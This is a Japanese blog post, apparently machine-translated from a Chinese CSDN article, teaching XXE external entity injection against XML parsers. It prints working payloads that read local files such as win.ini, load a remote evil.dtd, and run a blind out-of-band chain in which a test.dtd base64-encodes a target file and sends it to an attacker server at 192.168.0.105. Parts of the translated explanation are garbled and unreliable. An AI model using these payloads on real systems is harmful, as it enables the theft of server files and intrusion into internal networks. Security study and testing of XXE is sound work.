XXE外部エンティティインジェクションの脆弱性-脆弱性攻撃および防御テスト

脆弱性攻撃と防御テスト

概観

xxeの脆弱性、サービス拒否攻撃(DOS攻撃の挿入)、ファイルの読み取り、コマンド(コード)の実行(PHPのコンパイルとインストールが必要、コマンド実行モジュールもインストールされています)、SQL(XSS)インジェクション、内部および外部スキャンポートを使用リモートインクルードの脆弱性)、イントラネットサイトへの侵入など。イントラネットの検出と侵入は、xxeでサポートされているプロトコルをイントラネットのホストとポートの検出に使用します。xxeはSSRFの利用に使用されていることが理解できます。

一般に、xxeの使用率は、エコーありとエコーなしの2つの主要なシナリオに分けられます。エコーがある場合は、ページ上でペイロードの実行結果や現象を直接確認できます。エコーがない場合は、ブラインドxxeとも呼ばれます。外部データチャネルを使用してデータを抽出できます。

エコーがあります

		<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
			外部 evil.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

エコーなし

外部データチャネルを使用してデータを抽出し、最初にphp://フィルターを使用してターゲットファイルのコンテンツを取得してから、コンテンツをデータ受信サーバー(攻撃サーバーVPS)に送信するxxx.xxx.xxx

<!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>

エラーがある場合は、エラー情報を直接表示できます。エラーを
報告しない場合は、データを受信するサーバーのログ情報にアクセスする必要があります。base64でエンコードされたデータを表示できます。デコード後、データを取得できます。
サーバーがbase64でエンコードした機密ファイル情報を受信したことがはっきりとわかります(エンコードも
元のXML構文を破壊するものではありません)。エンコードしないとエラーが報告されます

呼び出しプロセス全体

私たちは、ペイロードから見ることができる3つのリモートパラメータ実体%への連続通話、%int型;%センド ;、これは順序の私達の使用で、やや似%リモート最初の呼び出し、リモートサーバー上のコール要求test.dtdを、 test.dtdを含めると、%intはtest.dtdの%ファイルを呼び出し、%ファイルはサーバー上の機密ファイルを取得し、%ファイルの結果を%送信に埋め込みます(エンティティの値は%があるので、HTMLエンティティエンコーディングに変換されます%)、次に%sendを呼び出します;読み取りデータをリモートvpsに送信します。これにより、帯域外データの効果が達成され、完全に解決されます。 XXEエコーの問題はありません。
test.dtdの内容については、internal%番号を&37に物理的にエンコードする必要があります(注:エンコードについては、http://www.mamicode.com/info-detail-1680849.htmlを参照してください)

	 <!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM'http://192.168.0.105:8080?p=%file;'>">
117件の元の記事を公開しました 賞賛されました11 訪問6464

おすすめ

転載: blog.csdn.net/weixin_43079958/article/details/105476599